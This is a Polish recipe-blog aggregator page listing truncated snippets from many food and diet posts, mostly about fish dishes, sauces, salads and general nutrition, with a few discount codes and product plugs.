KAWY AROMA A10 smyk200 rabat dla czytelników: - 200zł Frytkownica powietrzna,  kod smyk50, rabat - 50zł PRZEPIS NA SOS Z OPIEKANYCH WE FRYTKOWNICY POWIETRZNEJ WARZYW - IDELANY DO MAKARONU, MIĘS LUB RYB. SKŁADNIKI: - 2-3 pomidory - 1 duża papryka - 1/ 2 główki czosnku - sól, pieprz, suszone pomidory, czosnek niedźwiedzi, oliwa do smaku Wykonanie krok po kroku obejrzysz w formie filmu(...)rozgrzeje Cię w chłodniejsze dni, idealna na dzieciaków, jak i dorosłych, możesz ją modyfikować na wiele sposobów i korzystać z sezonowych warzyw, wzbogacać o dowolne źródła białka tj. mięso, ryby, jaja, tofu czy strączki, lub podawac z grzanką z chleba. SKŁADNIKI : - sezonowe warzywa np. dynia muskat lub hokkaido, marchew, czosnek, pomidor lub papryka, czosnek, który wzbogaci smak zupy

SMYKWKUCHNI
Jak zdrowo się odżywiać pracując na trzy zmiany? 51

jasna niezwykle proste. Wystarczy tylko wyeliminować jedzenie śmieciowe i włączyć do diety duże ilości warzyw. Porcja obiadowa powinna składać się z ponad 75% warzyw. Pozostałymi składnikami może być porcja ryby i ryżu czy kaszy. Takie danie na pewno jest zdrowe, ale i smaczne. Do przygotowywania posiłków można też wykorzystać parowar. To szybkie i rzeczywiście dobre rozwiązanie i spora oszczędność(...)zamówienia czy to w Poznaniu czy Warszawie cateringu dietetycznego na cały dzień. Ewentualnie przygotowujecie dania na zapas, choćby na bazie gotowych mieszanek sałat, mrożonych warzyw i ekologicznego mięsa czy ryb. Skoro to już jasne, to wystarczy to tak zorganizować. Po powrocie z pracy jecie zdrowe i lekkie śniadanie, następnie pół godziny odpoczywacie po nim i idziecie spać. Potem wstajecie

Via Gusto
Śledzie po kaszubsku 48

Śledź jest jedną z najpopularniejszych ryb w Polsce. Zaraz obok karpia pojawia się w wielu domach podczas świąt Bożego Narodzenia. Dziś zapraszam po przepis na śledzie po kaszubsku . Śledzie po kaszubsku to kawałki ryby w sosie słodko-kwaśnym z dodatkiem suszonych śliwek oraz cebuli. Dość ciekawe, a przy tym bardzo smaczne połączenie, które myślę, że warto wypróbować. Śledzie

Gotuj z Prezesem
10 najlepszych przepisów na makaron 57

składników i mamy bardzo smaczny posiłek. Uważam, że ten przepis jest wart zapamiętania. 10. Makaron z łososiem wędzonym. Korzystamy tutaj z łososia wędzonego, więc pomijamy proces obróbki termicznej ryby. Mamy tu również szpinak i kremowy sos śmietanowo – cytrynowy, który moim zdaniem fajnie podkreśla smak dania i idealnie pasuje do ryby.  Makaron z łososiem wędzonym

Gotuj z Prezesem
LOW CARB po prostu. Opis mojej nowej diety gotowej. 37

powinna obfitować w tłuszcze jedno i wielonienasycone, a udział nasyconych kwasów tłuszczowych powinien być mniejszy. W mojej diecie gotowej oczywiście znajdziecie takie produkty, jak: oliwa z oliwek, oliwki, tłuste ryby, siemię lniane, orzechy i nasiona , awokado . Oprócz produktów bogatych w tłuszcz jest też pełnowartościowe białko, co razem daje nam jadłospis o wysokim indeksie sytości . Gwarantuję Wam, że pomimo tylko(...)węglowodanach, tabelę motywacyjną, tabelę do pomiarów. Prawdy o diecie low carb, o których mało się mówi Dobrze skomponowana i odżywcza dieta low carb jest dość droga. Takie produkty, jak: ryby, oliwa z oliwek, orzechy, nasiona, warzywa i owoce nie należą do najtańszych, ale bez wątpienia są niezwykle istotne dla zachowania zdrowia. Zawsze powtarzam, że jeśli nie wydamy pieniędzy

Natka Pietruszki
Kurki w sosie śmietanowym z czosnkiem i pomidorami 67

przepisów na sosy , które mogą Ci się spodobać: Sos tysiąca wysp Sos jagodowy Sosy do maczania sajgonek Grecki sos sałatkowy Sos Dijon do kurczaka Sos korniszonowy do gotowanych ryb i mięs Sos ogórkowy do kotlecików ziemniaczanych Sos koperkowy Sos pieczarkowy ze śmietaną Sos pomidorowy Sos pietruszkowy do ryby Kurki w sosie śmietanowym. Kurki w sosie śmietanowym

Moja Książka Kucharska
Sos z kurek przepis 106

wypróbowanych przepisów na sosy , które mogą Ci się spodobać: Sos tysiąca wysp Sos jagodowy Sosy do maczania sajgonek Grecki sos sałatkowy Sos Dijon do kurczaka Sos korniszonowy do gotowanych ryb i mięs Sos ogórkowy do kotlecików ziemniaczanych Sos koperkowy Sos pieczarkowy ze śmietaną Sos pomidorowy Sos pietruszkowy do ryby Miłego gotowania! Sos z kurek

Moja Książka Kucharska
Sałatki na przyjęcie – 10 imprezowych hitów! 211

stole.   Pyszna sałatka grillowa Przepis tutaj (KLIK) Aromatyczna, świeża, pełna zdrowych składników, ziół i przypraw. Idealna sałatka do grilla. Świetnie pasuje jako dodatek zarówno do mięs, jak i ryb z rusztu. Polecam!   Sałatka słonecznik Przepis tutaj (KLIK) Prosta, szybka, efektowna i bardzo smaczna sałatka makaronowa, która swoim wyglądem pięknie przyozdobi nasz imprezowy stół.   Sałatka warstwowa(...)serkiem wędzonym Przepis tutaj (KLIK) Idealna do grilla! Świetnie sprawdzi się jako dodatek do mięs i ryb z rusztu. Pyszna, zdrowa i kolorowa!   Sałatka z tortellini Przepis tutaj (KLIK) Kolorowa i bardzo smaczna sałatka z makaronem tortellini, szynką, warzywami i pysznym sosem. Polecam!     POLECAM TAKŻE: Top 10 najlepszych ciast na przyjęcie! KLIKNIJ TUTAJ CIASTA BEZ PIECZENIA

Blog z Apetytem
Ekologiczne sztućce i słomki do napojów. Na co postawić? 64

jednorazowe akcesoria, powinno się jednocześnie zwracać uwagę na ekologię. Jak połączyć wygodę i ochronę środowiska? 1. Papierowe słomki do napojów 2. Drewniane sztućce jednorazowe W barach szybkiej obsługi, smażalniach ryb lub kawiarniach serwujących gofry najlepiej sprawdzają się jednorazowe talerzyki, kubki i sztućce. Dzięki nim posiłki są wydawane szybciej, a klienci mogą od razu zabrać je na wynos. Dodatkowo wśród(...)drinków, jak i coca-coli, soków owocowych lub wody gazowanej i niegazowanej. Sprawdź również ofertę https://www.opakowanianawynos.pl/218-kubki-pet-koktajlowe-shake Drewniane sztućce jednorazowe Sztućce jednorazowe w niedrogich lokalach gastronomicznych, smażalniach ryb i barach szybkiej obsługi są wykorzystywane powszechnie. Przez lata najczęściej spotykane w nich były sztućce plastikowe, jednak obecnie wypierają je sztućce drewniane. Dzięki nim można podawać posiłki bez używania metalowych

kruche babeczki
Marskość wątroby – jaką dietę zastosować? Plus przykładowe posiłki. 43

posiłków. Odpowiednia podaż z dietą BCAA nie tylko poprawia wchłanianie i tolerancję białka, ale także m.in. uwrażliwia komórki organizmu na działanie insuliny. Pokarmowymi źródłami BCAA są: mleko, wołowina, drób, ryby, jaja, soja, fasola, pełnoziarniste produkty zbożowe, brązowy ryż, migdały, orzechy brazylijskie, nasiona dyni, fasola lima, groch, orzechy nerkowca, soczewica i kukurydza. Bardzo ważna jest odpowiednia podaż tłuszczów(...)dziennie) – najbardziej wartościowe są tłuszcze roślinne (olej z oliwek, olej rzepakowy BIO z kontrolowanych upraw, olej z awokado ) i z ryb. Natomiast unikać należy tłuszczów pochodzących z czerwonego mięsa czy żywności wysoko przetworzonej, jak fast food. Jedynie u pacjentów z ciężką niewydolnością wątroby i cholestazą, gdzie pojawiają się dolegliwości w postaci tzw. stolców tłuszczowych należy ograniczyć podaż tradycyjnych tłuszczów

Natka Pietruszki
Dieta lekkostrawna – dla kogo? 68

kuskus, biały ryż, drobne makarony; mleko i produkty mleczne – zsiadłe mleko, kefir, jogurt naturalny, maślanka, mleko słodkie; jaja – na miękko, jajecznica lub omlet na parze; mięso i ryby – m.in. chuda wołowina, cielęcina, królik, kurczak, indyk oraz dorsz, pstrąg, flądra i sandacz; tłuszcze w ograniczonych ilościach – masło, słodka śmietanka, oleje roślinne podawane na zimno; warzywa – gotowane ziemniaki lub ziemniaki(...)lekkostrawnej? Do listy produktów zakazanych można zaliczyć, m.in.: produkty zbożowe – pieczywo pełnoziarniste, razowe, żytnie na zakwasie, grube kasze, grube płatki zbożowe; jaja – smażone, na twardo; mięso i ryby – tłusta dziczyzna, wieprzowina, wołowina oraz łosoś; tłuszcze – używane do smażenia; warzywa – wszystkie, które nie są dozwolone, w tym nasiona roślin strączkowych, cebula, czosnek, kapusta; owoce

Słodkie okruszki
Jak zdrowe jedzenie wpływa na nasze samopoczucie? 89

pewnością pomoże nam w tym bogata wiedza zawarta na Fit2Fit . Do wytwarzania serotoniny, popularnie zwanej hormonem szczęścia, niezbędne jest spożywanie produktów bogatych w tryptofan. Do nich zaliczamy: ryby, produkty pełnoziarniste, banany, nasiona dyni i słonecznika, awokado, jajka oraz suszone daktyle. Uzupełnij niedobory pokarmowe Do pełni szczęścia potrzeba jednak coś więcej. Nasze usilne starania mogą bowiem zniweczyć niedobory pokarmowe. Ludzki(...)strączkowe. Równie ważne dla ludzkiego ciała są nienasycone kwasy tłuszczowe z grupy omega-3, których zadaniem jest regulacja układu nerwowego. W celu uzupełnienia ich poziomu, powinniśmy częściej sięgać po ryby morskie, siemię lniane, nasiona, orzechy oraz owoce morza. Kolejną pozycją na „liście szczęścia” są witaminy z grupy B. Nie sposób przecenić ich pozytywnego wpływu na zdrowie

Zdrowy Styl Joanny
Tatar ze śledzia z karmelizowanymi orzechami 49

natkę pietruszki. Następnie podawać. Ten przepis najlepiej smakuje w gorący letni dzień. Aby przygotować ten przepis, śledź jest oczyszczony i odsączony. Usuwa się z nich skórę i ości. Rybę należy pokroić w drobną kostkę. Aby nadać jej więcej smaku, można dodać trochę marynowanej cebuli, soku z cytryny i papryki. Można też dodać pokrojoną w drobną kostkę sałatę. Danie to podaje(...)krążku czarnego chleba. Talerz z pierścieniem jest dobrym naczyniem do serwowania. Aby przygotować filet, należy najpierw namoczyć śledzie w zimnej wodzie, aby usunąć z nich sól. Po namoczeniu ryby pokroić ją w drobną kostkę. Następnie obrać i umyć ogórek, cebulę i grzyby. Następnie pokroić wszystkie warzywa w kostkę o podobnej wielkości. Dodaj trochę pieprzu i oleju roślinnego. Gdy składniki

Patchwork
Łosoś w kremowym sosie ze świeżym szpinakiem. Prosty przepis na pyszne danie z łososiem 66

śmietanki kremówki 30 proc., 3-4 garście liści świeżego szpinaku – może być zwykły lub baby (sałatkowy), sól, pieprz. Jak zrobić łososia w sosie ze świeżym szpinakiem? Rybę oprósz solą i pieprzem, skrop łyżką oleju i równomiernie natrzyj – pozostaw na jakieś 10 minut, aby trochę się zamarynowała. Usmaż (nie trzeba dodatkowego oleju), zaczynając od strony skóry. Ryba ma się(...)lekko zrumienić i dość w środku, co powinno zająć 5-7 minut. Rybę zdejmij, odłóż. Teraz na patelni rozpuść masło, wrzuć posiekany czosnek, smaż chwilę – nie ma się zrumienić. Wsyp mąkę pszenną, wymieszaj, aby dokładnie połączyła się z masłem. Powstanie zasmażka. Wlej śmietankę oraz ćwierć szklanki wody, od razu dokładnie wymieszaj trzepaczką, aby rozprowadzić mąkę. Mieszając, zagotuj sos. Dodaj

Kulinarna Polska
Gazpacho - andaluzyjski chłodnik idealny na upały 75

Gazpacho — chłodnik z pomidorów, ogórków i papryki rodem z Andaluzji Gazpacho to kwintesencja Andaluzji — pomidorowy chłodnik wyrazisty w smaku, aksamitnie gładki, lekki, ale z charakterem. Ta

Korniszonki
Jak dbać o nasze stawy? 64

Dieta na zdrowe stawy musi być odpowiednio zbilansowana. W takiej diecie nie powinno zabraknąć produktów bogatych w nienasycone tłuszcze OMEGA-3 i 6. Do tych produktów można zaliczyć, m.in. ryby, orzechy, migdały czy olej lniany. W diecie nie powinno też zabraknąć odpowiedniej dawki warzyw i owoców, które są pełne antyoksydantów. Wiele źródeł podaje też, że dobrze wprowadzić do swojej(...)wątróbkę. Dlaczego? Zawarty w niej koenzym Q10 hamuje postęp choroby zwyrodnieniowej stawów. Nie zapominajmy też o mleku i przetworach mlecznych, które są bogate w wapń. Dobrej jakości mięso i ryby będą doskonałym źródłem białka, które jest niezbędne do prawidłowego wzrostu i siły mięśni. Odpowiednio dobrane witaminy i suplementy Dobrze dobrane witaminy i suplementy na stawy mogą poprawić ich stan

Słodkie okruszki
Młode ziemniaki z burakiem liściowym 52

zetknęłam się z nim kilka lat temu w trakcie urlopu w Chorwacji. Było to małej wiosce w Dalmacji, gdzie blitva podawana jest z ugotowanymi ziemniakami jako dodatek do grillowanych ryb oraz owoców morza. Po powrocie z wakacji próbowałam zakupić to warzywo u siebie w kraju, jednak bezskutecznie. I tak, przez ostatnich kilka lat jedyną okazją na zjedzenie blitvy były(...)niektórzy podgotowują liście buraka, jednak myślę iż ma to sens jedynie w przypadku dużych i nieco starszych liści. Młode ziemniaki z burakiem liściowym są świetnym dodatkiem do drobiu, ryb oraz owoców morza. Smakują równie dobrze podane z dodatkiem kefiru, maślanki bądź jogurtu. Polecam poniższy przepis na młode ziemniaki z burakiem liściowym i mam nadzieję, iż danie to Wam posmakuje

MeCooks
Sałatka z pieczonych śledzi i pomidorów 51

Śledź to jedna z popularniejszych ryb w naszym kraju. O jego wpływie na nasze zdrowie wspominałam już przy okazji przepisu na śledziowe przekąski . Śledzia przygotować możemy na wiele sposobów - na blogu znajdziecie już przepisy na sałatki, marynowane matiasy czy nawet jajka faszerowane śledziem. Dziś kolejna propozycja - tym razem sałatka z pieczonym śledziem. Sałatka z pieczonych śledzi i pomidorów - przepis(...)łyżki oliwy z oliwek, sól i pieprz do smaku. 1. Papier do pieczenia podziel na kawałki o wielkości 30cm x 30cm. 2. Na każdym kawałku papieru połóż po jednej rybie. 3. Cytrynę dokładnie umyj i sparz wrzątkiem. 4. Śledzie dopraw solą i pieprzem, zetrzyj na nie skórkę z cytryny, skrop łyżką oliwy i dopraw tymiankiem. 5. Każdą rybę zawiń

Z notatnika dietetyka
Zasady zdrowego grillowania. Plus 7 przepisów na pyszne sałatki do dań z grilla. 58

Wybieraj chude i dobrej jakości gatunki mięs Dlaczego? Otóż z chudych gatunków mięs wytapia się mniej tłuszczu i mniej toksycznych związków pojawia się w dymie. Dobrym wyborem będzie drób, ryby, cielęcina i wołowina. Jeśli decydujemy się na wieprzowinę, to warto wcześniej usunąć tłuste fragmenty. 5. Przygotuj samodzielnie marynatę do mięsa To właśnie ona nadaje smak i zapobiega wysuszeniu. Mięso(...)należy zamarynować na około 2h przed grillowaniem, a ryby i warzywa około 1h przed. Odradzam zakup mięs już w gotowych marynatach, bo niestety bardzo często jakość takich mięs jest tuszowana przez mieszankę intensywnych przypraw. 6. Postaw na aromatyczne zioła Aby dania były smaczne, wbrew pozorom, wcale nie musimy bazować na dużej ilości soli . Dobrze jest wybierać takie przyprawy

Natka Pietruszki
10 rzeczy, których trzeba spróbować na Węgrzech 70

wywołaliśmy już zupę gulaszową, to nie sposób nie powiedzieć również o gulaszu. Jest to w końcu węgierskie danie narodowe. Gulasz przyrządza się z różnych rodzajów mięs, a także z ryb. Od bograczu różni się tym, że jest gęstszy i podaje się go na płytkich talerzach jako drugie danie. Warto pamiętać, że oprócz słowa gulyas (oznaczającego pasterzy, którzy wymyślili(...)porkolt (pochodzącego z kolei od węgierskiego przymiotnika “przypieczony”). Halaszle Węgry tak bardzo kojarzą się z gulaszem, że często zapomina się o roli, jaką w tamtejszej kuchni odgrywają ryby. A przecież obok bogracza i gulaszu w karcie większości węgierskich restauracji znajdziemy także halaszle, czyli pożywną zupę rybną. Podobnie jak większość węgierskich potraw, także halaszle zawiera cebulę, paprykę

ProstePesto.pl
Pesto z mniszka lekarskiego — wiosenny przysmak 68

Pesto z mniszka w białej filiżance Pesto z młodych listków mniszka lekarskiego, błędnie nazywanego mleczem, robię tylko wiosną, bo tylko wiosną listki są wystarczająco delikatne. Pesto

Korniszonki
Zielona zupa z pokrzywy — smak wiosennej łąki 64

Zielona zupa z młodej pokrzywy Zielona zupa z pokrzywy “nie wygląda”, podobnie jak wszystkie zupy z wiosennych ziół, ale smakuje naprawdę obłędnie. Spokojnie może stanąć w

Korniszonki
Kasza jaglana z pesto 61

przepis na kaszę jaglaną z pesto, którą zrobiłam z myślą o My. Można ją potraktować jako dodatek do obiadu, po prostu zamiast ziemniaków. Fajnie pasuje do ryb, kurczaka. Jeżeli chodzi o rodzaj pesto, nie musicie ściśle trzymać się mojego pomysłu. Rukolę możecie zastąpić natką pietruszki, jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście(...)warzywa (zwłaszcza zielone), przeciwgrzybiczo działa cebula, czosnek (tych używam sporo), świeże zioła, gruboziarniste kasze, jogurty naturalne, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, kaszę jaglaną, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców

Kardamonovy
Curry z rybą 62

Curry z rybą to jedno z lepszych dań jakie ostatnio przygotowałam. Jest pożywne, odżywcze, idealne na treściwy obiad. Wszystkim posmakuje, spróbujcie koniecznie. Curry z rybą. CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka ziemniaczana z łososiem 59

wypróbowany przepis, składniki i przygotowanie sałatki ziemniaczanej krok po kroku.  Składniki: około 600g ziemniaków ugotowanych w mundurkach 300g wędzonego łososia w plastrach lub dzwonkach (lub innej wędzonej ryby) 1 czerwona cebula, drobno posiekana 4 ogóreczki konserwowe, pokrojone w plasterki 4-5 jajek ugotowanych na twardo, pokrojonych w większą kostkę 1/2 szklanki zielonych oliwek bez pestek, pokrojonych w plasterki(...)miseczce wymieszać wszystkie składniki na sos majonezowo-jogurtowy do sałatki ziemniaczanej, doprawić do smaku. Ugotowane w mundurkach ziemniaki ostudzić, obrać i pokroić w kostkę lub plasterki. Wędzoną rybę podzielić na mniejsze kawałeczki, wielkości mniej więcej jednego kęsa. Drobno posiekaną czerwoną cebulę sparzyć wrzątkiem i odcisnąć. Wędzonego łososia mieszamy z ziemniakami, czerwoną cebulą, ogórkiem konserwowym, jajkami, zielonymi oliwkami i sosem jogurtowo

Moja Książka Kucharska
Ryba w zalewie pomidorowej 59

Przepis na te pyszności dostałam od koleżanki Doroty na Fb. Tak przyrządzona ryba rozpływa się w ustach, będzie idealna na świąteczny stół. U mnie znikała szybko, poleca zatem i Wam. Ryba z zalewie pomidorowej. CZYTAJ DALEJ

Moje Małe Czarowanie
Zostań kuchennym samurajem czyli Japońskie noże kuchenne 71

długim ostrzu), yanagiba (nóż do sushi, z ostrzem długim i wąskim, ostrzonym jednostronnie), usuba (podobny do tasaka, jednak lżejszy i cieńszy, idealny do warzyw), deba (krótki nóż do ryb o grubym ostrzu), gyuto (nóż uniwersalny do krojenia, filetowania, szatkowania). Noże będące prawdziwą sztuką i nie tylko, czyli o zaletach Przeznaczenie noży japońskich jest wszechstronne – służą do mięsa, ryb, owoców, warzyw. Z pewnością z udziałem tych noży, nasze jedzenie będzie smakować wyborniej, gdyż ich wysoka jakość wykonania (nawet ze stali damasceńskiej) wpływa na precyzję przyrządzanych dań. Noże japońskie dobrze leżą w dłoni i stanowią świetny pomysł na ekskluzywny prezent. To jednak nie wszystkie ich zalety. Są one bardzo ostre, a im są twardsze, tym rzadziej wymagają ostrzenia. Nawet

Słodkie okruszki
Dieta okołodobowa pomoże zdrowo schudnąć 62

się pozostawienie ich między godziną 10.00 a 21.00. Białka zwierzęce i produkty mleczne, takie jak jaja, wołowina, indyk lub kurczak (z wyjątkiem tłuszczów i kiełbas) oraz białe i niebieskie ryby najlepiej spożywać między godziną 10.00 a 21.00. Jeśli chodzi o nasiona roślin strączkowych i inne produkty, takie jak bulwy, np. słodkie ziemniaki, ziemniaki lub groch, powinny być one włączane(...)dużej zawartości kalorii, takie jak mango czy banany, a także suszone owoce i orzechy, powinny być pozostawione do godziny 12.00. Wszystkie te produkty, a także nasiona roślin strączkowych, ryby, kurczak, sery i awokado to pokarmy bogate w tyrozynę, która pomaga nam w wydzielaniu hormonów, dzięki czemu mamy siłę, by stawić czoła wszystkiemu, co przed nami. W dzisiejszych czasach

ProstePesto.pl
Co jeść, kiedy głodny, żeby nie przytyć? 73

pokarmem, który można jeść bez przybierania na wadze. Ich wysoka zawartość białka i błonnika pomaga nam regulować apetyt i czuć się sytym bez konieczności spożywania zbyt wielu kalorii. Tłuste ryby morskie. Jeśli podczas obiadu lub kolacji czujesz się bardzo głodny, ryby — zwłaszcza tłuste — mogą być dobrym rozwiązaniem, aby uniknąć przejedzenia. Jest on bowiem doskonałym źródłem białka i tłuszczów

ProstePesto.pl
Łosoś w sosie koperkowym. Obiad z łososiem, który wszyscy u nas uwielbiają. PRZEPIS 67

Robi się go naprawdę bardzo prosto, raz dwa i pyszny obiad z łososiem w roli głównej gotowy. Delikatna ryba i kremowy sos, to jest po prostu pyszne. Przepis na łososia w sosie koperkowym Składniki na 2 porcje: Dwie porcje fileta z łososia ze skórą po około 150 gramów każda, 1 niezbyt duża cebula, 1 ząbek czosnku, 200 ml śmietanki kremówki(...)dopraw solą i pieprzem. Kawałki łososia usmaż, zaczynając od skóry, z każdej strony na patelni bez tłuszczu – był już w marynacie. Smażenie powinno potrwać około 7 minut, aby ryba „doszła” w środku. W pierwszych minutach można go też przykryć folią aluminiową lub pokrywką. Łososia włóż do sosu lub polej sosem już na talerzach. Rada: tak przyrządzonego łososia

Kulinarna Polska
Inteligentne rozwiązania w kuchni Haier 65

ściereczką, aby go oczyścić. Istotną funkcją w piekarnikach z serii I-Message Steam (szczególnie dla lubiących wypieki) jest także pieczenie parowe . To dzięki niej ciasta, ale też mięsa i ryby, są dobrze wypieczone na zewnątrz i przyjemnie soczyste/wilgotne w środku. Idealna funkcja do serników czy biszkoptów! Piekarniki Haier mają także wygodne drabinki i prowadnice teleskopowe, dzięki którym wyjmowanie potraw(...)przy jej wyborze? Jak dla mnie najciekawszymi funkcjami są: termosonda, łączenie pól grzewczych i funkcja VaryCook. Termosonda , która mierzy temperaturę w środku potrawy, dzięki czemu idealnie wysmażymy mięso i ryby. Jest to szczególnie przydatne w przypadku wołowiny, ponieważ pozwala wysmażyć stek w takim stopniu, jakiego oczekują goście. Efekt jak w 5-gwiazdkowej restauracji! Funkcja łączenia pól grzewczych sprawdzi się

Kuchnia Bazylii
Marynowane filety z kurczaka. I o zaletach pakowania próżniowego. 88

chronimy ich smak, aromat oraz wartości odżywcze, produkty zapakowane próżniowo łatwiej przechowywać i przewozić nawet na duże odległości, pakowanie próżniowe chroni przed rozprzestrzenianiem się intensywnych zapachów żywności, np. wędzonych ryb czy serów, umożliwia porcjowania zakupionych produktów, nie marnujemy żywności i tym samym oszczędzamy. Jak pakować próżniowo? Do pakowania próżniowego potrzebne są specjalne zgrzewarki próżniowe i inne akcesoria(...)nich nie tylko przechowywać żywność, ale również ją marynować (czas to kilka minut, a nie kilka godzin!). Szczerze polecam! W tych pojemnikach można przechowywać praktycznie wszystko, np. mięso, ryby, sery, owoce, orzechy, warzywa, sałatki, kiełbasę, wędlinę, obiad, ciasta, ciasteczka i wiele więcej. Przechowujemy i nie marnujemy! Pakowanie próżniowe to doskonała alternatywa dla tradycyjnych sposobów przechowywania żywności. Więcej informacji znajdziecie

Słodkie okruszki
Dieta redukcyjna – Jak ją prawidłowo ułożyć? 61

kilogram masy ciała. Nie więcej niż 45% przyjmowanej energii powinno pochodzić z węglowodanów.   W jakich produktach znajdziemy dobre źródła składników? Wysoką ilość białka zapewnią nam: jaja, ryby, mięso, nabiał czy odżywki białkowe. Zdrowe tłuszcze przyswoimy z: awokado, tłustych ryb takich jak łosoś czy pstrąg, orzechów laskowych, brazylijskich, włoskich i migdałów. Dodatkowo w diecie można wykorzystywać oleje

Słodkie okruszki
CEVICHE Z DORSZEM I BANANAMI 76

Łacińskiej, takich jak Ekwador czy Meksyk, przy czym w każdym z tych krajów przyrządza się je nieco inaczej.  To delikatne i subtelne danie tradycyjnie przygotowuje się z surowej ryby marynowanej w soku z cytryny lub limonki, doprawionej papryczką chili, kolendrą i cebulą, i podanej z owocami lub warzywami, np marakują, awokado, pomidorami. Ceviche  serwują również często restauracje(...)Hiszpanii, staje się także coraz bardziej popularne we Francji. Danie to istniało przypuszczalnie w Peru przed przybyciem Hiszpanów na kontynent południowoamerykański, ale składało się głównie z ryby marynowanej w tamtejszych warzywach i wodorostach, a kiedy Hiszpanie przywieźli do Peru cytrusy, wzbogaciły one kompozycję tej potrawy. Przygotowanie: 20 min. Chłodzenie: 4 godz. Porcja dla 6 osób: ● 800 g filetu

Smaki Francji współczesna kuchnia francuska
Szaszłyki z łososia i ananasa. To połącznie jest naprawdę świetne! PRZEPIS 63

Może wydawać, że to dwa kulinarne światy, owoce i ryby świetnie jednak do siebie pasują. Jedno z naszych ulubionych połączeń to łosoś i ananas – najlepiej w formie takich niesamowitych szaszłyków. Ci, którzy próbują ich po raz pierwszy, zawsze są pysznie zaskoczeni. Przepis na szaszłyki z łososia i ananasa Składniki: Około 400 gramów świeżego fileta z łososia bez skóry

Kulinarna Polska
Dieta paleo- hit czy mit? 71

Dieta paleo jest znana wszystkim, którzy chociaż raz podjęli walkę o szczupłą sylwetkę. Kładzie główny nacisk na chude mięso, ryby i nieprzetworzoną, świeżą żywność. Skupia się również wokół ograniczenia węglowodanów, cukru oraz soli. Zwolennicy paleo twierdzą, że to przez nowoczesną dietę i przetworzone jedzenie mierzymy się z różnymi dolegliwościami dieto zależnymi. Korzyści Jedną z największych zalet diety paleo(...)wysokie ciśnienie, również zaleca się stosowanie tej diety. Warto jednak wykonywać regularne badania krwi i być pewny, że wszystkie wartości odżywcze dostarczamy w odpowiednich ilościach. Proponowana lista produktów Ryby i owoce morza- dostarczają białka i tłuszczów omega-3. Chude mięso- zapewnia to białko o niskiej zawartości tłuszczów nasyconych, witamin (B12) i minerałów (cynk, żelazo). Świeże owoce- źródło przeciwutleniaczy

codojedzenia
Moda na topinambur 71

śmietaną kremówką, zakrywając topinambur w ¾, gotuj przez 20 minut, by na koniec zmiksować na gładką masę z dodatkiem soli i szczypty cukru. Mus sprawdzi się na obiad w towarzystwie ryby i surówki, ale również jako przekąska – idealnie komponuje się z surową marchewką lub selerem naciowym. Wegetarianom zaś na chłodne dni polecamy rozgrzewające leczo. Klasyczny przepis na węgierską potrawę wzbogać(...)swoją ofertę na internetowym targu. Zaufani dostawcy oferują ponad 3 500 produktów z czystą etykietą, m.in. warzywa i owoce z ekologicznych upraw, wiejskie jaja i nabiał, mięso, wędliny i ryby z małych hodowli, przetwory, tradycyjne wyroby piekarnicze i cukiernicze. Zakupy dostarczane są w całej Polsce, a dodatkowo we Wrocławiu, w Krakowie, na Śląsku i w Warszawie można je zamówić

Kulinarnyblog.pl - wiesz jak gotować!
Duży indeks sytości i mniejsza ilość kalorii 69

pomaga nam czuć się sytym przez dłuższy czas. Jednak należy pamiętać, że powinno być spożywane w małych dawkach, biorąc pod uwagę poziom kalorii. Zalecana dawka to maksymalnie 30 gramów. Ryby. Ryby są pokarmem wysokobiałkowym, który zawiera również tłuszcze wielonienasycone, takie jak kwasy tłuszczowe omega-3. Jego kaloryczność (jeśli są grillowane lub pieczone) jest niska, ale nadal jest bardzo

ProstePesto.pl
Odkryj Buddha bowl! 71

znaleźć? Tłuszcze te znajdują się zazwyczaj w żywności przetworzonej przemysłowo. Idealnym sposobem na ich uniknięcie jest priorytetowe traktowanie żywności zawierającej zdrowe tłuszcze, takie jak te znajdujące się w tłustych rybach, oliwie z oliwek z pierwszego tłoczenia, orzechach, jajkach i awokado. W tym przypadku, jako że jest to danie wegetariańskie, do dressingu użyjemy dobrej oliwy, a w przygotowaniu możemy wykorzystać(...)odżywczy jest jednym z najbardziej znanych ze względu na swoją funkcję strukturalną: jest pokarmem dla mięśni. Białko może być pochodzenia zwierzęcego lub roślinnego. Pierwszy z nich można znaleźć w rybach, mięsie (czerwonym lub białym) i jajach. Te ostatnie są czasem trudniejsze do wykrycia, ale soja, quinoa, rośliny strączkowe, tofu i konopie są dobrymi źródłami białka roślinnego. W rzeczywistości jedynym

ProstePesto.pl
Pyszna ryba po japońsku 61

Pyszna ryba po japońsku w zalewie słodko – kwaśnej jest idealna na każdą okazję, sprawdzi się na każdego rodzaju uroczystościach. Ryba po japońsku smakuje wyśmienicie podana na ciepło jak i na zimno. Przechowywana może być w lodówce do około pięciu dni. Zapasteryzować ją można w  … The post Pyszna ryba po japońsku appeared first on Smaczne potrawy

Smaczne Potrawy
Fish buła z dorszem w panko 68

Fish buła z dorszem w panko 24 godziny wcześniej przygotować marynowaną czerwoną cebulę. Przed smażeniem ryby przygotować różowy sos. Składniki sosu umieścić w kubku i wymieszać ze sobą. Filety z dorsza umyć, osuszyć, pokroić na kawałki wielkości bułek, oprószyć solą i pieprzem. Przygotować trzy naczynia. Do jednego wsypać mąki i wymieszać, do drugiego wybić jajko i dokładnie roztrzepać(...)niej plasterki pomidora. Następnie ułożyć usmażone filety, plasterki ogórka konserwowego, cebulę marynowaną, polać odrobiną sosu i przykryć wierzchnią częścią bułek. 24 godziny wcześniej przygotować marynowaną czerwoną cebulę. Przed smażeniem ryby przygotować różowy sos. Składniki sosu umieścić w kubku i wymieszać ze sobą. Filety z dorsza umyć, osuszyć, pokroić na kawałki wielkości bułek, oprószyć solą i pieprzem. Przygotować trzy naczynia

ememe kitchen
Puree ziemniaczane 50

